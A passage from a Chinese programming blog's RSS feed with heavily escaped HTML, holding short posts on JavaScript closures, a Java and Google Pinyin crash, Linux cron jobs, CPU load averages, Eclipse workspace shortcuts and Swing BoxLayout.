  &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; elapsedTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;-&amp;lt;/span&amp;gt; startTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
  &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;alert&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;elapsedTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;
`&amp;lt;/pre&amp;gt;

getDelay函数展示了一个包含当前时间Date.now()和前面定义的开始时间startTime之间间隔的对话框。

回到外部函数stopWatch()，在运行结束之前发生的最户一件事情是返回getDelay函数。正如你所见的，这里的这段代码和先前的例子非常类似。你有一个外部函数，你有一个内部函数，然后外部函数返回了内部函数。

现在，为了弄清楚，stopWatch函数是怎么运行的，我们添加下面的代码：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; timer &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;stopWatch&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token comment&amp;quot; style=&amp;quot;color: #708090;&amp;quot; spellcheck=&amp;quot;true&amp;quot;&amp;gt;
// 做一些消耗时间的式
&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;for&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; i &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token number&amp;quot; style=&amp;quot;color: #990055;&amp;quot;&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt; i &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;&amp;amp;lt;&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token number&amp;quot; style=&amp;quot;color: #990055;&amp;quot;&amp;gt;1000000&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt; i&amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;++&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; foo &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Math&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;random&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;*&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token number&amp;quot; style=&amp;quot;color: #990055;&amp;quot;&amp;gt;10000&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;}&amp;lt;/span&amp;gt;
&amp;lt;span class=&amp;quot;token comment&amp;quot; style=&amp;quot;color: #708090;&amp;quot; spellcheck=&amp;quot;true&amp;quot;&amp;gt;
// 调用返回函数
&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;timer&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;    
`&amp;lt;/pre&amp;gt;

如果你运行这个例子，你将看到一个对话框展示从初始化到timer函数被调用之间时间间隔的对话框。你的for循环接收时候，timer变量像一个函数一样被调用：

[![1389597808064-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%882.50.43](/images/69023707f410b23b639f61b5118be955427c17b9.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597808064-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%882.50.43.png)

基本上，你现在有了一个秒表可以用来计算一个长时间运行的操作花费了多长时间。

现在你看到我们的简单的秒表例子已经运行起来了，我们回到stopWatch函数看看实际上发生了什么。正如前面所提到的，上面的例子和前面的youSayGoodBye/andISayHello例子很相似。要注意的一点是当getDelay函数返回并赋值给timer变量时发生了什么。

[![1389597819038-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%882.55.09](/images/755cd1da19a41e45c319b357219d99a470d65f44.png)](http://leaverimage.b0.upaiyun.com/2014/04/1389597819038-%E5%B1%8F%E5%B9%95%E5%BF%AB%E7%85%A7%202014-01-13%20%E4%B8%8B%E5%8D%882.55.09.png)

外部函数stopWatch不再起作用，time人变量被绑定到了getDelay函数。现在，有区别的地方来了。getDelay函数依赖于外部函数stopWatch上下文中的startTime变量：

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;

&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; startTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;  

&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;

&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; elapsedTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;-&amp;lt;/span&amp;gt; startTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   

&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;  
`&amp;lt;/pre&amp;gt;

当getDelay函数被返回时外部函数stopWatch函数不再器作用，那么下面的这行代码又发生了什么？

&amp;lt;pre class=&amp;quot; language-javascript&amp;quot; style=&amp;quot;color: black;&amp;quot;&amp;gt;`&amp;lt;span class=&amp;quot;token keyword&amp;quot; style=&amp;quot;color: #0077aa;&amp;quot;&amp;gt;var&amp;lt;/span&amp;gt; elapsedTime &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;=&amp;lt;/span&amp;gt; Date&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token function&amp;quot;&amp;gt;now&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt; &amp;lt;span class=&amp;quot;token operator&amp;quot; style=&amp;quot;color: #a67f59;&amp;quot;&amp;gt;-&amp;lt;/span&amp;gt; startTime&amp;lt;span class=&amp;quot;token punctuation&amp;quot; style=&amp;quot;color: #999999;&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个上下文中，看起来startTime变量没有被定义。但是，这段代码显然正常运行了，因此这里存在一些其他的东西。这里提到的“其他的东西”值得就是害羞而神秘的闭包。我们来看看究竟发生了什么似的我们的startTime变量储存了一个实际的值而不是undefined。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Google输入法和Java不兼容</title>
      <link>http://blog.leaver.me/2014/03/29/google%E8%BE%93%E5%85%A5%E6%B3%95%E5%92%8Cjava%E4%B8%8D%E5%85%BC%E5%AE%B9/</link>
      <pubDate>Sat, 29 Mar 2014 12:13:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/29/google%E8%BE%93%E5%85%A5%E6%B3%95%E5%92%8Cjava%E4%B8%8D%E5%85%BC%E5%AE%B9/</guid>
      <description>&lt;p&gt;一直发现自己写的Swing界面无法关闭，症状是点击了界面的关闭按钮后程序会卡住，然后点击无响应最后就挂掉了。&lt;/p&gt;
&lt;p&gt;最开始以为是自己的资源没释放，但是没理由呀，应该在关闭的时候会自动释放，而且改了代码也没用。&lt;/p&gt;
&lt;p&gt;今天再执行另一个Swing的时候，eclipse报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#
# A fatal error has been detected by the Java Runtime Environment:
#
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x6d986cc3, pid=700, tid=2280
#
# JRE version: Java(TM) SE Runtime Environment (7.0_45-b18) (build 1.7.0_45-b18)
# Java VM: Java HotSpot(TM) Client VM (24.45-b08 mixed mode, sharing windows-x86 )
# Problematic frame:
# C  [GOOGLEPINYIN2.IME+0x96cc3]
#
# Failed to write core dump. Minidumps are not enabled by default on client versions of Windows&lt;/pre&gt;
&lt;p&gt;看问题说是Google拼音输入法冲突，导致访问禁止，在PChunder里卸载掉javaw的Google拼音模块，javaw马上就关闭了，于是修改系统的默认输入法为其他输入法问题解决。&lt;/p&gt;
&lt;p&gt;我了个去，纠结了我好长时间。我说为啥公司电脑和我的电脑都会关不了呢&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>linux编写定时任务</title>
      <link>http://blog.leaver.me/2014/03/29/linux%E7%BC%96%E5%86%99%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/</link>
      <pubDate>Sat, 29 Mar 2014 10:31:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/29/linux%E7%BC%96%E5%86%99%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/</guid>
      <description>&lt;p&gt;linux中定时任务用来执行一些周期性的自动化的任务，比如有些人可能用来定期备份，也可能是定期检查一下特殊文件的签名，如果不一致，就报警，检测入侵。&lt;/p&gt;
&lt;p&gt;cron是linux下的定时执行工具&lt;/p&gt;
&lt;p&gt;这个工具的几个命令是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/sbin/service crond start //启动服务

/sbin/service crond stop //关闭服务

/sbin/service crond restart //重启服务

/sbin/service crond reload //重新载入配置&lt;/pre&gt;
&lt;p&gt;注意，这几个服务都是要以root权限才能运行的，很多时候，只要我们可能只是一个低权限的用户，那么我们要执行一些定时任务的时候，可以这样做&lt;/p&gt;
&lt;p&gt;直接通过这个命令来编辑，无需root用户&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab&lt;/pre&gt;
&lt;p&gt;首先添加定时任务&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab -e&lt;/pre&gt;
&lt;p&gt;打开之后按如下的格式编写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;*/1 * * * * ls &amp;gt;&amp;gt; /tmp/ls.txt&lt;/pre&gt;
&lt;p&gt;从左到右一次表示&lt;/p&gt;
&lt;p&gt;分钟 一小时的第几分 0-59
小时 一天的第几小时 0-23
日期 一个月的的第几天 1-31
月份 一年的第几个月 1-12
周几 一周的第几天 0-6&lt;/p&gt;
&lt;p&gt;/1表示每一天 /2表示每两天，直接*的话就表示每天/每小时这样&lt;/p&gt;
&lt;p&gt;写完之后，wq保存退出&lt;/p&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab -l //列出当前的所有调度任务&lt;/pre&gt;
&lt;p&gt;可以看到自己的定时任务了，然后就不要做什么操作了，操作系统定时会读取配置的，编辑完成之后，我们的定时任务过一会就会生效了。&lt;/p&gt;
&lt;p&gt;有时候，可能还要把结果信息和一些错误信息也写入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1

注：2&amp;gt;&amp;amp;1 表示执行结果及错误信息。&lt;/pre&gt;
&lt;p&gt;这里就是说明天的5点50执行一次ls命令，并把结果追加到文件&lt;/p&gt;
&lt;p&gt;如果我想每天5点30和17点30都执行一次呢，使用逗号隔开就行了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5,17 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;如果是某个时间段呢&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5-17 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;这样5-17点钟的每个30分到会执行&lt;/p&gt;
&lt;p&gt;如果是一些特殊的时间点，那么有更简单的方法，比如每月0点或者每天0点执行一次&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@monthly ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@daily ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;使用如上的关键字&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]深入理解Java内存模型</title>
      <link>http://blog.leaver.me/2014/03/11/%E8%97%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%86%85%E5%AD%98%E6%A8%A1%E5%9E%8B/</link>
      <pubDate>Tue, 11 Mar 2014 08:28:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/11/%E8%97%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%86%85%E5%AD%98%E6%A8%A1%E5%9E%8B/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-1/&#34;&gt;深入理解java内存模型（一）——基础&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-2/&#34;&gt;深入理解java内存模型（二）——重排序&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-3/&#34;&gt;深入理解java内存模型（三）——顺序一致性&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-4/&#34;&gt;深入理解java内存模型（四）——volatile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-5/&#34;&gt;深入理解java内存模型（五）——锁&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model/&#34;&gt;深入理解java内存模型（六）——final&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/java-memory-model-7/&#34;&gt;深入理解java内存模型（七）——总结&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>linux的CPU负载均值</title>
      <link>http://blog.leaver.me/2014/03/08/linux%E7%9A%84cpu%E8%B4%9F%E8%BD%BD%E5%9D%87%E5%80%BC/</link>
      <pubDate>Sat, 08 Mar 2014 17:19:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/08/linux%E7%9A%84cpu%E8%B4%9F%E8%BD%BD%E5%9D%87%E5%80%BC/</guid>
      <description>&lt;p&gt;当运行在Linux上的程序有问题之后，我们通常要看一下当前CPU和内存的使用情况来分析一下问题&lt;/p&gt;
&lt;p&gt;对于CPU的使用率，通常用Load Average，也就是负载均值来度量&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;负载均值是啥？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;负载是啥，负载就是对CPU使用率的一个计量，均值就是某一段时间内的一个平均值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;怎么看啊？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接输入w命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;# w
20:02:51 up 23 days, 8:10, 2 users, load average: 1.20, 1.28, 1.29&lt;/pre&gt;
&lt;p&gt;第一位1.20：表示最近1分钟平均负载
第二位1.28：表示最近5分钟平均负载
第三位1.29：表示最近15分钟平均负载&lt;/p&gt;
&lt;p&gt;或者uptime命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ uptime
09:50:21 up 200 days, 15:07, 1 user, load average: 0.27, 0.33, 0.37&lt;/pre&gt;
&lt;p&gt;我们一般认为0.00表示无负载，可以理解为CPU空闲，1.00表示CPU满负载，但是注意，1.00是对于单cpu来说的，也就是说，如果是双核，那么这个满负载显示的值应该是2.00，以此类推。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;怎么看我是几核啊&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;grep &#39;model name&#39; /proc/cpuinfo | wc -l&lt;/pre&gt;
&lt;p&gt;通过统计cpuinfo的model name信息来算的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这三个值哪个重要？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一分钟内突然负载很大没关系，当然如果你要排查也没人拦着，如果15分钟的负载均值超过cpu的数目，就要关注了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那什么就是理想负载呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以单个cpu为例，1.00表示cpu满负载运行，没有一点点浪费，实际上，有些管理员认为0.7也许是理想的状态。如果你的经常超过0.7，那么最好查一查。&lt;/p&gt;</description>
    </item>
    <item>
      <title>eclipse管理多个workplace</title>
      <link>http://blog.leaver.me/2014/03/08/eclipse%E7%AE%A1%E7%90%86%E5%A4%9A%E4%B8%AAworkplace/</link>
      <pubDate>Sat, 08 Mar 2014 16:34:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/08/eclipse%E7%AE%A1%E7%90%86%E5%A4%9A%E4%B8%AAworkplace/</guid>
      <description>&lt;p&gt;由于eclipse用的比较多，管理多个workplace很麻烦，经常需要打开以后再切换，简单介绍个方法。&lt;/p&gt;
&lt;p&gt;一&lt;/p&gt;
&lt;p&gt;1.进入Eclipse的安装目录，鼠标点击eclipse.exe，右键菜单&amp;ndash;&amp;gt;发送到&amp;ndash;&amp;gt;桌面快捷方式&lt;/p&gt;
&lt;p&gt;2.到桌面上找到“eclipse.exe - 快捷方式”，鼠标右键点击查看属性，弹出菜单中选择“快捷方式”标签，然后在“目标”中增加内容：-data e:\workspace，保存后即可&lt;/p&gt;
&lt;p&gt;3.双击这个快捷方式，eclipse就会使用e:\workspace作为工作空间启动。&lt;/p&gt;
&lt;p&gt;这样你多复制几个，就好了。&lt;/p&gt;
&lt;p&gt;二&lt;/p&gt;
&lt;p&gt;1.找个目录，新建一个文件夹，名称为workspace_aaa&lt;/p&gt;
&lt;p&gt;2.然后在当前目录下新建一个txt文件&lt;/p&gt;
&lt;p&gt;3.输入内容为：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;start E:\eclipse\eclipse.exe -data workspace1&lt;/pre&gt;
&lt;p&gt;说明：前面是eclipse的路径，中间加上&amp;quot;-data” ，后面为工作空间的路径，start要有，不然打开eclipse之后，命令行窗口不会自动消失的，很是碍眼。&lt;/p&gt;
&lt;p&gt;4.将这个txt保存为workspace1.bat&lt;/p&gt;
&lt;p&gt;5.双击这个workspace1.bat，eclipse就会使用workspace1.bat 作为工作空间启动。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对launchy党来说，新建个目录，然后创建好多个bat，以后直接快速启动真是太方便了&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]运用 BoxLayout 进行 Swing 控件布局</title>
      <link>http://blog.leaver.me/2014/03/03/%E8%97%8F%E8%BF%90%E7%94%A8-boxlayout-%E8%BF%9B%E8%A1%8C-swing-%E6%8E%A7%E4%BB%B6%E5%B8%83%E5%B1%80/</link>
      <pubDate>Mon, 03 Mar 2014 21:17:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/03/%E8%97%8F%E8%BF%90%E7%94%A8-boxlayout-%E8%BF%9B%E8%A1%8C-swing-%E6%8E%A7%E4%BB%B6%E5%B8%83%E5%B1%80/</guid>
      <description>&lt;p&gt;写的非常非常好的一个教程，感谢&lt;a href=&#34;http://www.ibm.com/developerworks/cn/java/j-lo-boxlayout/&#34;&gt;陈 怡平&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;引言&#34;&gt;引言&lt;/h2&gt;
&lt;p&gt;在用户使用 Java Swing 进行用户界面开发过程中，会碰到如何对 Java Swing 的控件进行布局的问题。Swing 的控件放置在容器 (Container) 中，容器就是能够容纳控件或者其它容器的类，容器的具体例子有 Frame、Panel 等等。容器需要定义一个布局管理器来对控件进行布局管理，Swing 当中提供的主要的布局管理器有 FlowLayout、BorderLayout、BoxLayout、GridLayout 和 GridBaglayout, 它们的主要特点如表 1 所示：&lt;/p&gt;
&lt;h5 id=&#34;表-1-swing-中的一些主要布局管理器的比较&#34;&gt;表 1. Swing 中的一些主要布局管理器的比较&lt;/h5&gt;
&lt;table summary=&#34;Swing 中的一些主要布局管理器的比较&#34; border=&#34;0&#34; cellspacing=&#34;0&#34; cellpadding=&#34;0&#34;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;**布局管理器**&lt;/th&gt;
&lt;th&gt;**特点**&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FlowLayout&lt;/td&gt;
&lt;td&gt;把控件按照顺序一个接一个由左向右的水平放置在容器中，一行放不下，就放到下一行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BorderLayout&lt;/td&gt;
&lt;td&gt;将整个容器划分成东南西北中五个方位来放置控件，放置控件时需要指定控件放置的方位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BoxLayout&lt;/td&gt;
&lt;td&gt;可以指定在容器中是否对控件进行水平或者垂直放置，比 FlowLayout 要更为灵活&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GridLayout&lt;/td&gt;
&lt;td&gt;将整个容器划分成一定的行和一定的列，可以指定控件放在某行某列上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GridBagLayout&lt;/td&gt;
&lt;td&gt;是 Swing 当中最灵活也是最复杂的布局管理器，可对控件在容器中的位置进行比较灵活的调整&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
本文主要关注在 BoxLayout 布局管理器的使用上。我们首先对 BoxLayout 作一下介绍。
&lt;h2 id=&#34;boxlayout-介绍&#34;&gt;BoxLayout 介绍&lt;/h2&gt;
